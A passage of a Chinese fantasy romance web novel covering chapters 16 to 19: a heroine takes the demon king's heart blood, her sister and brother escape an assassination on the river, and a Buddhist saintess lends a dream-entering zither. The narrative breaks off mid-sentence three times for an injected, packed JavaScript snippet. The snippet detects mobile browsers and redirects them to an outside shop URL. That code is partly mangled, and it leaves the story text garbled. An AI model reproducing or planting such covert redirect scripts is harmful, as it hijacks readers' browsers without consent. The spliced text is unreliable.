傀儡军被抽去魂魄后只听令于主人,哪怕烈火灼烧,他们都执着兵器一拥而上,可还没能近宁樾身,就被烧成一具具白森森的骨架。 宁樾看着一个个倒下的傀儡,越发觉得可笑,双眼眼瞳倒映出幽蓝色火焰。 默了一瞬,他勾起唇角笑了笑,点燃整个结界,连同自己一起被幽冥火吞没。 “殿下!”枭寒见状大叫一声,飞扑过去,千年前,殿下灭了神界后就是花式求死,他还以为千年过去了殿下会歇了这份心思,折磨自己,何苦呢。 眼前的结界任凭他怎样都解不开,猛然间一个少女的声音匆匆响起:“住手。” 一身黑衣的少女眉目带着几分凛冽:“你这样幽冥火会波及其他人。” 季疏浅双手漾起淡淡水波,和上次在弑神海一样结起一阵寒意,四周瞬间冻住。 熊熊燃着的幽冥火似乎遇上了霉头,渐渐收敛起张牙舞爪的模样。 宁樾正感觉身体被千年来熟悉的滚烫灼烧着,突然四周一阵凉意,他刚缓缓睁开眼睛,就感觉胸口处一凉。 16. 情动中元时 宁樾看着面前一身黑衣神情冰冷的少女笑了笑,再一看那把狠狠扎进胸口的灭影幽幽道:“你要是真能杀了我就好了,可惜你师父用这把匕首杀的了当年的我,你杀不了现在的我……” 季疏浅愣愣地看着他,他不应该晕倒了吗,怎么跟没事人一样。 她细细的打量了一眼满脸是血的宁樾……应该说浑身露在外面的地方都是血,就如他们第一次相遇一样。 刚刚在幽冥火灭掉之后,她看清了一地的白骨,顿时愣住了。 曾经的各种传言都比不上亲眼所见来的刺激……他果然和传言一样,毫无人性。 就在那一瞬,她定了定神,决定按着先前的计划来。 看着一地的白骨季疏浅双眼微微泛红,狠狠将匕首往他胸口扎了扎:“你不是答应过我吗?你不会伤及无辜,这就是你的承诺?” 枭寒回过神来,双目怒睁,正准备抽剑,却看见宁樾偷偷朝他比了个手势——不要过去。 宁樾知道此时自己应该是满脸是血,故意露出一个很瘆人的笑:“你应该知道,本王就是如此,杀人如麻。” 季疏浅怔了怔,抽回匕首,后退两步:“好,好,我就不该信你。”然后转身消失。 宁樾缓缓闭上眼捂住胸口,勾起一抹讽刺微笑。 枭寒见状连忙上前扶住他:“殿下,你为何不和她解释?这傀儡军已经被抽了魂魄,主人死了这些傀儡便会以人为食,四处游荡……都算不上是活人了。” 宁樾看着他不解的表情笑了笑:“与其和她解释,我更想看她有什么花样来杀我……” 枭寒愣在原地,殿下真是千年如一日的疯…… 季疏浅回到月华殿,深深喘了口气,看着匕首叹了口气。 她指尖点着匕首,将匕首上的血凝成一大滴血,找出一个空瓶子装了进去。 在去之前她在一本书上看到需要将入梦之人的心头血滴在琴上,方能引魂。 捅宁樾的这一刀本就抱着侥幸,她没报成功的希望,只是个幌子取到他的心头血罢了…… 她边想边往外走着,迎面遇到一个身材高大的少年。 她怔了怔:“萧……无虞?” 少年听到自己的名字猛地看向她,皱了皱眉:“我们认识吗?” 看着面前眼眶微微泛红的少女,他心想这人好生奇怪,记忆中他不认识这么个人啊。 季疏浅愣了愣突然想起重活一世改变了太多东西,前世他们相遇应该在几个月之后,只是……他来月华殿找元容与吗? “嗯……我认识你,但你应该不认识我。”前世她和萧无虞刚认识时唇枪舌剑,谁都不甘落下风。 后来渐渐熟了,萧无虞就拿她当妹妹,虽然还是一如既往的嘴欠……想到前世萧无虞的死她不经红了眼眶。 萧无虞皱着眉准备直接进去,季疏浅连忙拦住他:“你去月华殿做什么?” 他有些不耐烦地打量着她:“你什么人啊,用不着你管。” 见他还是前世这副样子季疏浅笑了笑,随即正色道:“我是如今天道山的主管,你要进这月华殿得经过我同意。” “你?”她话音刚落,萧无虞就大叫一声,“我爹就让我来找你这个小丫头拜师?他疯了吗?” “不可能,你别骗我。”萧无虞一脸震惊。 ……季疏浅有些无语,原来萧无虞是来找元容与拜师,这下好了,总不能让萧无虞拜她为师吧…… 这是从前世的主副将关系一步跨越到师徒关系啊,简直骇人听闻。 “嗯……你来的不巧了,天道山真的易主了。你恐怕找不到要找的人了,不过我可以把你推荐给另一个人。” 她在心里盘算着萧无虞是个好苗子,把他推荐给师叔应该是个不错的决定。 “我凭什么相信你啊?”萧无虞哧道。 季疏浅叹了口气换作是以前的她应该已经和他大吵一架了,不过她总归多活了一世,心理年龄比他大个几岁。 她亮出手上玉牌:“这是天道山至高无上权力的象征,你不信可以问问旁人。” 萧无虞半信半疑地看着她:“那现在呢?我住哪?” “我会找弟子给你安排住宿。”随即她唤出一个小侍从:“带他去弟子的住处。” 看着他们消失的身影,季疏浅默默地想着这一世让萧无虞来当靖和军的主帅应该也算让他圆梦了吧…… 入夜的天道山有些微凉,她立在月华殿外,神色淡淡的,果真是高处不胜寒。 她想了想应该联系阿姐和师叔了,他们是她在天道山最亲的人,事到如今,她不能再瞒着他们了。 人界夜幕降临,汴河亮起一盏盏河灯,暖黄的河灯似架起一座座桥,连起人世的这头和来世的那头。 苏聿微微侧头看着林知意:“……你想吃点什么吗?”尽管一下午他买了各种各样的小吃塞到林知意手里,但他还是问了一句。 林知意微微笑了笑:“不用了苏公子……修仙之人其实不用吃饭的。” 说完她才想起来苏聿似乎是要吃饭的,她连忙补了一句:“苏公子要是饿了我也可以再吃一点。”礼貌地冲苏聿淡淡一笑。 苏聿看的微微愣神,他连忙道:“不必了,其实下午吃了那么多我也不饿。” 两人并肩走在人群中,不时有人朝他们投来艳羡的目光。 林知意很少在人界逛街,被这些目光看的有些不自在,也没明白目光中的深意。 苏聿察觉到身旁之人的紧绷,想了想:“林姑娘,你……想和我一起去放河灯吗?” “嗯,好啊。” 林知意没有犹豫就应下了,虽然她从小在天道山长大,但她对这个自己出生的地方有些好奇。 常常听阿浅说人界有各种各样的节日,让她觉得那或许是个和天道山冷冷清清截然不同的地方。 下午苏聿带着她逛了广陵城热闹的街市,一路上买了裹着金黄糖衣的糖葫芦,炸的酥脆的糍粑,还冒着白烟刚煎好的拇指大的包子……第一次,阿浅以前给她提到的东西具像化了。 中元节,汴河边放河灯的人格外多,苏聿想了想问道:“林姑娘,你愿意多走一会儿吗,我带你去个人少的好地方。” 林知意正看着来来往往摩肩接踵的人潮,微微皱起眉,听到他话微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746889|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,居然想到一处了。 “嗯好啊。” 苏聿有些不自觉的脸红,带着林知意到了一处人少的私人码头。 码头处的人一见苏聿立马堆满了笑容迎上来:“世子殿下,要游船吗?” 看了一眼苏聿旁边的林知意微微瞪大了双眼:“世子殿下这回带的又是哪个姑娘。”他将林知意从头到脚看了一遍,小声嘀咕:“这么好看的姑娘应该都是花魁了吧。” 尽管他声音很小,但还是被林知意听到了:“花魁?” 苏聿脸一红狠狠瞪了他一眼,他一见苏聿生气立马赔不是道:“小的失言,小的失言……我马上安排一条最好的画舫,世子稍等。” 林知意双瞳都带着不解:“什么是花魁啊?” 苏聿:“……” “嗯?”林知意侧头看着他。 “就是……就是花楼里的头牌,你千万别听他的,他乱说的……”心虚地瞄了一眼林知意的脸色。 林知意听完皱起眉:“他的意思是你经常去那种地方带姑娘来游船?” “咳咳”苏聿尴尬地咳了两声:“误会,真的是误会。” 林知意半信半疑地看着他。 船家摇来一艘画舫:“两位,上船咯!” “等等。”苏聿突然想到什么,走到旁边一个卖河灯的老婆婆处俯身拿起一盏纸扎的河灯,扭头看着林知意:“林姑娘,你有要祭奠的人吗?” 林知意想了想,她自幼被父母抛弃,他们的生死于她而言已经不重要了,师父和阿浅是她最亲的人……她就当替师父给师母祭奠吧。 “要一盏吧。”她轻声道。 “好。”闻言他再拿起一盏河灯,从袖口处递出一块银子给老婆婆。 “公子,这也太多了。”布满皱纹的手迟迟不肯接过银子,她看着那一块沉甸甸的银子想着这都抵得上她一年的收入了。 苏聿不甚在意:“您拿着。”将那一块银子放在一盏盏河灯边离开了。 画舫边的林知意看着少年意气的俊俏公子俯身递过一块银子,勾起唇角笑了笑。 苏聿走到画舫边递了一盏河灯给林知意,冲她一笑:“上船吧。” 不远处一身形佝偻的人见他们上了船,转身匆匆离开。 林知意生的高挑,画舫的船门对她来说有些低了,她微微弯下腰准备过去。 突然一只手轻轻覆上头顶:“小心,别撞了头。” 林知意自然知道这只手是谁的,她白皙的脸颊染上一抹红晕:“嗯,你也小心。” 画舫缓缓驶向河中心,河旁雕梁画栋,华灯初上。林知意看着远处河面上的河灯微微发愣,从前她的生活中只有练剑和无数的妖魔鬼怪,今日倒是格外特别的体验。 烟火长燃,暖融融的烛光映着水面,她伸手点了点水波笑了笑。 船缓缓驶到河中央,苏聿看着出神的林知意轻轻问道:“林姑娘我们去船尾放河灯如何?” “好。”林知意拿着花灯起身。 林知意看着他手上的花灯犹豫一瞬:“上回我们见面时苏公子家人都还健在……不知苏公子想要祭奠谁?” 17. 遇刺 闻言苏聿轻轻一笑:“家母。上回你见到的是我的继母。” 林知意愣了愣:“抱歉,我还以为……” 苏聿打断她:“无妨。林姑娘你出来看看,这河风很舒服的。” 见他岔开了话题,林知意没有多说,随他走出船舱。 船尾轻轻摇动,荡起点点水波,河面映着的暖黄烛光绽开,似一朵朵无声的烟花。 河风拂面,林知意笑了笑问道:“点河灯吗?” “嗯,我去拿火折子。”苏聿正转身走向船舱,林知意轻轻拉住他袖口:“不用。” 他转过头对上她清澈的眼眸,微微偏了偏头:“嗯?” 林知意右手的食指一点,燃起一簇小小火苗笑道:“苏公子也太小看我们修仙之人了吧。” 苏聿也跟着笑了笑将河灯递过去,待两盏河灯点亮后他转头问道:“林姑娘,你要祭奠谁?” 林知意蹲下身,微微拨开被风吹拂到脸上的发丝:“我师母,虽然我没见过她,不过从师父的口中听来,应当是个很温柔的人……我就当替师父祭奠她了。” 苏聿也跟着蹲下身来,他有一丝不解:“林姑娘,你家人呢?” 林知意神色有一丝尴尬:“出生时他们就抛弃我了……” 听到她的话苏聿愣住,虽然林知意语调没变,神色也淡淡的,但他自知失言,低头默默将河灯送出水面。 林知意看了看他的动作,也学他将河灯推了出去,两人沉默片刻。 “其实放河灯不仅仅是祭奠亲人,也是对未来的美好祈愿,林姑娘要不要一起许个愿?” 河面水波荡漾,河灯随着水波越来越远……逐渐成为水上点点烛光之一。 林知意勾起唇角笑道:“好啊。” 她学着他的样子双手交叉紧扣,虔诚闭上了眼,许道:“愿爹爹和阿浅平安顺遂,愿三界洲安宁和平……” 正许着愿时,她突然察觉到水面下极不寻常的响动,猛地睁开眼警惕的看了看,船在不知不觉间行驶到了无人之地,岸边空无一人。 苏聿也察觉到一丝怪异的轻响,和林知意对视一眼,向后看去,摇船的船夫早已不见了踪影。 他嘲讽一笑缓缓开口:“就这么着急杀人灭口吗?” 话音刚落,船身被猛地一撞,船舱中间赫然出现一个大洞,河水缓缓灌了进来。 林知意一个踉跄,腰间却突然被一只有力的手搂住,她面色微红。 “没事吧?”苏聿扭头问道。 林知意还没来得及答复他,就见船尾哗啦几声,几个蒙面黑衣人紧握着钢刀跃出水面。 苏聿一把将林知意拉到身后,从袖中抽出一把匕首,挑眉道:“我的好继母让你们来的?” “少废话。”为首的人恶狠狠地瞪着他:“上。” 就见那几个拿着长钢刀的人一齐冲了过来,船身正在缓缓下沉,林知意看了眼苏聿手上短短的匕首暗道不妙。 眼看着那几个人就要围上苏聿,林知意右手凝起一股力量一掌推了出去,几个冲上来的黑衣人像下饺子一样纷纷落水。 苏聿目瞪口呆回头看着她,林知意倒是没觉得什么,只是在心里默默叹了口气,在凡间动用仙法要是被师父知道了,她回去该领罚了。 船身缓缓下沉,几个黑衣人已经浮在水面上不省人事,苏聿拧起眉看着他们。 林知意还以为他在纠结这些人:“你放心,他们只是晕了,我给他们施了术,不会淹死……” “啪”一支箭突然射来,林知意反应过来一把扯过苏聿,那支箭偏偏擦过苏聿的肩膀,带出一道血痕。 他皱着眉头:“怎么还有一批人?” 猛地船身震了几下,刚刚林知意的动作让本就弱不经风的船身突然向船尾倾斜,两人双双落了水。 林知意在他们落水的瞬间结了个透明的结界,像一颗巨大的泡泡隔绝了他们和冰冷的河水。 苏聿有些惊奇地戳了戳泡泡,回头看着林知意抱歉道:“谢谢,抱歉啊林姑娘,我的私事连累到你了。” “没事。”说话间,几个水性极好的黑衣人游了过来,苏语瞥了一眼其中一人腰间的令牌皱起了眉,随后不知想到什么勾起唇角一笑。 “林姑娘,能帮我个忙吗,伪造一下我死了。” “啊?”林知意愣了一下,没有明白他的意图。 不过倒是好办,她给他们两人施了个障眼法,又在水面留下一个苏聿的虚影。 就见那几个人游了过来,看着胸口中箭的“苏聿”,拖着他浮出水面。几人互相看了看,低声道:“这些又是谁派来的人,这件事知道的人多吗?” “不知道啊,这是真的死了?”有一个人疑惑地说:“我刚刚怎么看见船上有两个人呢?” 林知意和苏聿对视一眼,林知意犹豫说道:“他们要是把尸体带走怎么办,这个术法只能维持一炷香的时间。” 苏聿沉吟片刻:“不用管,他们肯定不会带走尸体。” 他刚刚已经想清楚第一批人是他继母派来的,第二批来人的令牌已经出卖了他,是四皇子的人,他们不会傻到带尸体回去自留罪证的。 果然,那几个人细细检查一下尸身,快速游走了,只在江面留下浅浅波纹。 不一会儿江面归于平静,仿佛无事发生。 苏聿看了看林知意垂下的手,轻轻捏了一下:“走吧。” 林知意有些诧异他的动作,但没多说什么。他们坐着透明的泡泡一路驶到河岸。 “林姑娘,今天多谢了,你们天道山会禁止你们在凡界用术法吗?” 林知意还正在发愁这要是被察觉了该怎么办,她身为圣女却带头违规……这么出格的事她还是第一次做。 闻言她闷闷开口:“有。” 苏聿一听正合他意:“那这样,林姑娘带我回天道山,我定会与你们那些长老解释清楚,什么罚我来受就行。” 带他回天道山?林知意沉默片刻,正巧泡泡驶到了河岸,他们走上了岸边。 林知意抿着唇没说话,她师父一向不听解释,要是让他替她领这罚,他估计连自己怎么死的都不知道。 苏聿见她犹豫,连忙道:“林姑娘就当帮我一个忙,你看我都假死了,家肯定回不去了……” 林知意突然想起来问道:“你为什么要假死?” 她记得上一次来时他可是镇国公世子,为什么要放着身份不要……她以前听阿浅说人们大都羡慕权贵,他怎么还反其道而行之。 苏聿看着她片刻,淡淡道:“林姑娘想听吗?”自第一面见林知意他便觉得她是不染凡尘的仙子,他自然不想这些勾心斗角,尔虞我诈沾染她半分。 林知意十分认真地看着他点点头。 苏聿叹了口气:“我的生母是皇后,你上次应该见过。皇帝驾崩,夺位之争也会波及到我……”他还是没将镇国公府的烂摊子事告诉她。 死遁到天道山是个很大胆的决定,但他隐隐听暗卫打听到了皇后的态度,他自嘲地笑了笑,他对那众人争破头的皇位没什么兴趣,也不知该用什么态度去面对他那位生母。 林知意看着收起平日浪荡样子的苏聿默了默:“你平日的样子……是装给他们看的吗?” 苏聿没料到她问了这个问题,但对上她漂亮的双眼一时无言:“嗯,我要是风头太盛,早就不知死了多少回了。”说完笑了笑。 在得到他肯定的答复后,林知意觉得自己心里什么东西突然落了下去。他的坦诚让她一瞬动摇。 她沉了口气:“好吧,我带你回去。” 正说话,传音铃突然响了起来,她伸手去解却想到什么突然顿住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746890|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是她往日在人界用术法,容与上神都会第一时间察觉联系她,难怪她今天觉得有些反常……她师父一直没联系她。 “小七,怎么了?”她拿起传音铃。 季疏浅抿着唇挣扎一瞬:“阿姐……你们玩得开心吗?” 林知意觉得她话中有话,有些奇怪:“嗯……我马上就带着你哥哥回天道山。” 季疏浅一愣这么快?“啊?” 林知意和苏聿对视一眼:“我们……你哥哥遇到刺杀,他打算死遁,就来天道山暂住。” 闻言季疏浅焦急道:“你们受伤没有啊?” 苏聿在旁边听着笑了笑:“有你阿姐在,能有什么事啊。想我没有啊?” 一听到苏聿带着几分戏谑的声音,她忍不住翻了个白眼。 想到自己要说的面色又不住沉了下去,林知意见她没说话缓缓开口:“小七,你有什么事吗?” “嗯……”季疏浅闭着眼使劲掐了掐手:“阿姐,我……闯祸了。” 林知意一听微微蹙起眉,不过她转念一想,她这个妹妹每次闯祸都闯不出什么大祸,淡定道:“没事,你告诉阿姐,有阿姐给你担着。” 苏聿在一旁有些幸灾乐祸地看着,浅妹一如既往能闯祸啊…… “我把元容与杀了……” 苏聿愣了愣,他明显觉得在这句话出口时周遭的气氛都凝固了一瞬。 他侧头瞥了瞥脸色徒然一变,双目闪着难以置信光芒的林知意。 “什……什么?你把他杀了?”林知意呆在原地,她不是元容与的对手,阿浅怎么可能…… 季疏浅听着传音铃那边没声了,在心中一遍遍念道完了完了完了…… “你没受伤吧?”林知意焦急地问道,阿浅不会无缘无故杀他,她在心里相信阿浅不会胡来,她这么做应该是有原因的。 “没,没有。”季疏浅怔住。 她坐在月华殿殿外,看着皎月出神,阿姐……永远都会这么相信她。 “阿姐,但我闯的祸不是这一件。我杀他是因为他不仅要害阿姐你,还要害我家人,是他罪有应得。”季疏浅越说越理直气壮。 苏聿看着一旁的林知意,现在脸上的表情别提有多精彩了。 “什么?小七……你说吧,我们一起想办法,没关系的。” “就是,阿姐……你知道魔王宁樾吧?” 林知意眉头越皱越深,怎么和他扯上关系了。 “知道。” 季疏浅一闭眼睛,算了早晚都会知道的;“我把宁樾封印给解了。”说完长舒一口气。 一瞬林知意石化了没拿稳传音铃,苏聿眼疾手快地抓住了铃铛递给她。 饶是他再玩世不恭,他也知道宁樾是个怎样的存在,刚刚他妹妹说啥?放出来了?他倒吸一口凉气。 林知意呆呆接住铃铛,缓缓道:“小七……你知道他是个什么样的存在吗?” 季疏浅听着阿姐的语气,叹了口气决定全部告诉她:“阿姐你听我说,元容与是神族,我想杀他当下只能找到宁樾了……至于宁樾你别担心,我有办法将他重新封印……” 林知意还没从宁樾封印被解了缓过来,结果阿浅又说什么,元容与居然是神族,神族不是已经全族覆灭了吗? 林知意长叹一口气,不知怎么,她觉得阿浅自上次苏醒过来就怪怪的。 倒是苏聿轻轻拉了拉她袖子:“上回的宁兄……不会就是宁樾吧?” 被他这话一提醒,林知意顿时反应过来,原来就在她眼皮子底下……还一起吃了顿饭。 她舒出一口长气……至少上回她没有在他身上感到杀气,和传闻倒是不太像。 “那我们马上回来,一起商量后面怎么办吧。”林知意让自己冷静下来,在心底却有些莫名的欣慰,一直被他们保护的小妹妹长大了。 18. 缘法 这边季疏浅坐在月华殿外,看一轮皎月渐渐淡去轮廓,天边泛起晨光。 林知意和苏聿到了殿外,季疏浅听到声音兴冲冲地跑出去:“阿姐,哥哥。” 林知意冲她笑笑:“小七。”仿佛之前传音铃里说的就是小事一桩。 “阿姐,我们坐着说。”她拉开崭新的玉椅,不得不说,天道山的小弟子们办事效率真高,一片狼藉的月华殿已经被收拾的干干净净,仿佛什么都没发生过。 苏聿在一旁默默坐下,不动声色地打量着月华殿,他知道现在他插不上什么话。 “小七,你打算怎么办?” 季疏浅单手撑着头:“我听说梵净城有一首曲子叫皎月调,我只要引他入梦,在梦中杀了他就行……” 林知意沉默片刻,思考了一下可行性:“怎么引他入梦,危险吗?” “不危险,阿姐你放心吧,我已经取到他心头血了。”季疏浅有些自豪地偏头笑了笑。 “什么?心头血?”林知意睁大双眼,刚刚阿浅是说她取到了那魔头的心头血? 她连忙握住季疏浅的手腕,探了探脉:“没受伤吧?” “没有没有,阿姐你放心……事不宜迟,宁樾昨日受了伤,我现在去梵净城借那曲谱……” 林知意看着她点点头:“那你小心,天道山这些事就交给我。” “嗯……对了,阿姐,师叔那里……”她小心翼翼地看着林知意。 林知意会意一笑:“好,包在我身上。” 季疏浅准备离去,突然想到萧无虞连忙转头:“阿姐,今天有个叫萧无虞的人来拜师,我看他……根骨不错,阿姐你把他引荐给师叔吧。” “嗯,好。”林知意盯着她有些不舍,倒是一旁的苏聿听到萧无虞时眉头微微蹙起。 - 梵净城,和寻常人世一样,清晨是各种各样的叫卖声,热闹非凡。唯一不同的是,大街上有不少人虔诚膜拜。 季疏浅直接开了传送阵来了此处,初来乍到她微微皱起眉,她原以为梵净城身为佛国,自然和寻常庙宇一样香火缭绕,虔诚。 谁曾想,看起来和寻常人界的西域国差不多。她走过一道道褐色的高筑城墙,入眼的宫殿高大却又奇异。 一层层垒起的花坛种满各色鲜花,鲜花在微风摇曳,潺潺流水一阶一阶流下,哗哗作响。宫殿外的墙砖雕着繁复花纹,拱形殿顶由某种晶石搭成,阳光下折射着五彩的光。 季疏浅看着宫殿微微出神,梵净城宫殿不似人界皇宫富丽堂皇,却别有一番独特的风格。 大门外,几位穿褐色布衣古铜色皮肤的僧兵拦住她,季疏浅拿出玉牌:“天道山主管求见。” 几位僧兵无动于衷,这时皇宫内匆匆奔来一位十岁孩童样的俊俏小弟子,朝她俯身道:“季姑娘久等了,我们佛女在花园内等您,请随我来。” 他朝她伸手,做了个请的手势,几位拦着的僧兵连忙退到大门两侧。 季疏浅皱了皱眉,她似乎从未见过这位佛女,她怎么知道她名字的。 犹豫一瞬她跟着小僧人走了进去,皇宫内漫着一股奇异的香味,没有过多的装饰,却处处透着神圣不可侵犯的意味。 皇宫内的花园种了各种她叫不出名字的花,开了一角的殿顶洒进暖暖阳光。 披着金色薄纱披肩的女子静静坐在桌案前,拿着两只褐色的杯慢慢往里面倒着紫色的果汁。 见他们到了,她起身朝季疏浅微微一笑:“来了。” 佛女一头乌黑的头发编成辫子盘在脑后,金色的无袖长裙在阳光下泛着淡淡的光,披着的薄纱披肩绣着颗颗莹润珍珠。她微微笑起,面容秀美却有着一股庄严之感。 季疏浅微微颔首:“久仰佛女大名。” 见状,小弟子低着头退下,佛女缓缓拉起季疏浅的手和善地看着她:“你我不必客气,唤我善慧便好。” 她的格外让季疏浅觉得有些不自在,对方总给她一种他们曾经相识的感觉。 善慧拉着她坐在庭中:“我知道你为何而来,所以在此处等着你,不必奇怪。” 她的声音柔和却有力,让人无端生出一种信任,季疏浅淡淡笑着点了点头:“佛……善慧,你既知我为何而来,可愿意将皎月调借我一用。” 善慧笑容未变:“自然愿意。”她轻轻摸了摸手上的粉色手镯,刚刚退下的小弟子连忙跑进来:“佛女殿下。” “玄烨,你去取皎月琴来。”她柔柔道。 “是。”玄烨应了一声退下。 季疏浅这才注意到小弟子手腕上居然也戴了一个粉色玉镯,只是那副镯子有着明显裂痕,似乎是拼凑起来的。 她怔怔地看着自己手腕上的镯子,有些不可思议地开口:“佛女殿下,你可认识这镯子,我们俩手上的是同一种对镯吗?”说罢,她扬起手腕露出那只镯子。 善慧笑着看着她:“是啊,季姑娘我们的镯子是同一种。” 季疏浅像找到救星一样,眼睛亮亮地看着她:“您可知道这对镯有什么办法可以取下来吗?” 善慧垂下眼睫,微微闭上双眼:“季姑娘,缘分不可强求,以后机缘到了自会解开。” 季疏浅似懂非懂:“所以这镯子唯一的影响就是可以在危险时感知到对方吗?” 她话音落下,善慧笑着看着她:“现下它只有这样的作用了……但你进了皎月调会发现它大有用处……” 季疏浅摩挲了一下镯子,见她不肯多说便没有再问。 善慧瞧着她笑了笑:“季姑娘可知在皎月调中你要做什么?” “嗯,我要在宁樾成魔之时杀了他。” 善慧收起笑容,盯着季疏浅,片刻轻声道:“季姑娘……皎月调回带你回到千年前,在皎月调中你会是前世的你……” “前世的我?”季疏浅愣道,她在书上并没有见到这些记载。 善慧轻轻道:“对,而且……皎月调的一切都是过去发生的事,无论你当下改变了什么,结局不会变……” 她说的很隐晦,季疏浅微微皱起眉。 这时,玄烨抱来一把玉琴,琴身刻有流水波纹,弦丝由银色天蚕丝编织而成,像流动的星空般璀璨。 善慧点了点头,示意他将琴放在桌上。 季疏浅不由自主轻轻碰了碰桌上的古琴,琴身似寒冰般凉凉的,季疏浅缓缓闭上眼,感觉有一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746891|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汹涌的灵力蕴藏其中。 善慧看着她垂下长长的眼睫,修长的玉指不自觉捏了捏裙子,她抿着唇面色有些苍白:“季姑娘……你知晓宁樾的身世吗?” 身世?“是关于他母亲的传闻吗?” 善慧看着她:“不是的,宁樾在堕魔前过得挺悲惨的……” 何止是悲惨……善慧闭上眼掩住眼底情绪,当年她和本初去渡他时见到的过去种种,让他们俩都不知从何下手…… 季疏浅有些奇怪她怎么突然说到这个了,有些不解地看着她:“佛女这是何意啊?” “季姑娘应当知道人魔原本其实是同族吧?现在的魔族其实和人族性情习性都很是相似……” “嗯。” 她曾在天道山学习三界洲历史时了解过,虽是世人口中的人魔两族天壤之别,人们都唾弃魔族,可是魔族和人族大部分原本都是同一族。 只因他们各自代表着不同的立场,一场大战后,人界洲两个部落分裂,胜出的部落将另一个部落尽数赶去了魔界洲。 而原先的神族也因内部矛盾,一部分人叛出神族永世留在魔族,自此神魔不两立。 她还私下在一些“禁书”上看到过,留在人界洲的部落当年险胜其实有神族相助,那一波的人先行讨好了神族,永世作为神族的附属……虽然记载的真假无从考究。 当时长老在讲习时她还暗自纳闷过,明明就是同一族何至于走到水火不容的地步,在她看来三界众生不该有高低贵贱之别……哪有神族高人一等的说法…… 当初在课上长老一个劲的贬低魔妖两族,她一时听不下去,把书卷狠狠往桌上一拍站起来发表了自己的意见:“长老,他们也决定不了自己的出生,何况他们只是立场不同而已,您就这样否定两族的所有人,有些不妥吧……” 她话还没说完就被长老以妖言惑众,不学无术的理由罚了出去……想到这儿她不自觉瘪了瘪嘴,老古董。 她细微的表情被善慧察觉到了,善慧浅浅一笑:“季姑娘我明白你所想,依我之见众生平等,你是对的。” 得到肯定的季疏浅勾起嘴角一笑:“果然说佛女慈悲为怀,心怀天下。” 善慧也浅浅笑着,轻咳一声表情严肃了一些:“只是,季姑娘可知,宁樾才是人们口中真正的魔。” 季疏浅偏头看了看她,有些不明白,一直以来她倒是以为宁樾是魔族里比较激进的那一挂。 “他……是堕魔,心魔强大,才会有时控制不住杀欲。” 季疏浅若有所思地看着她,所以从某种意义上来说,三界中真正的魔只有宁樾一个?她怎么觉得她从善慧的语气里听出了淡淡的惋惜呢。 善慧清了清嗓子,正经道:“季姑娘,我想说……”她皱了一下眉,面不改色道:“我想说,在皎月调中无论结局如何,我想请季姑娘在他……无助之时帮帮他……” 她有些无力地说了一句:“……有时过程远重于结果……” 季疏浅看着她琢磨着她的话,心想应该是顺着千年前的发展还是尽可能帮帮他……佛女果然心善啊。 她一抬头就见善慧面色有些苍白,她关切道:“佛女可是不舒服?” 19. 皎月琴 善慧看着她微微摆了摆手:“无妨……这皎月琴你带走吧,只需闭眼感受它就行了,皎月调没有琴谱。” “嗯,多谢佛女。”季疏浅见她神色恢复正常,施法将皎月琴收起。 善慧突然冷声道:“玄烨送客。” 季疏浅看了看,这是对她下了逐客令,她有些奇怪佛女前后态度的变化,但一想已经拿到皎月琴了,左手轻轻搭上右肩俯身告别。 善慧看着他们俩的身影消失在绽放的花丛中,轻扶桌角,缓缓向里室步去。 里室中身披金色袈裟的男子一手放在胸前,一手执着法杖,振振有词。善慧看着他轻笑一下:“本初……”然后猛地喷出一口鲜血,朝前面倒去。 男子猛地睁开眼闪身接住她,浓密的剑眉皱起:“你告诉她了?” 善慧摇了摇头稳住身形站起来:“我要告诉她了,现在可就不在这里了,提了一嘴。” 本初看着她,金色的眸子神色复杂:“你为什么不直接阻止她呢,反正……” “不。”她闭了闭眼:“万事皆有缘法,那日我见到死局突然有了破局的一线生机……你我都渡不了宁樾,或许,这是唯一让他停手的办法。” 说完身形晃了晃,本初扶住她,善慧突然笑了笑看向他:“你知道吗,今日我见到她……这一世的她终于有些生气了……” 本初看着她叹了口气,闭上眼紧握住法杖:“诸法因缘生,诸法因缘灭……” - 季疏浅回到天道山,一进门就撞上了南昊师叔。 她怔了怔:“师叔,你回来啦。” 清俊的男子看着她半晌,抬手拍了拍她的发顶:“你啊,你啊……”他似乎在酝酿该说什么好。 季疏浅心虚地低下头:“师叔……”她琢磨着要不要像小时候一样嘟着嘴撒个娇。 “做得好!”南昊师叔猛地拍拍她的头,露出一个欣慰的微笑:“不愧是我教出来的,就是厉害!” 啊??季疏浅一愣,师叔没有怪她?转念一想,前世师叔死前就让她离开这个天道山,看来师叔是知道些什么。 “都想好怎么办了?”林南昊看着她一边点头一边笑着。 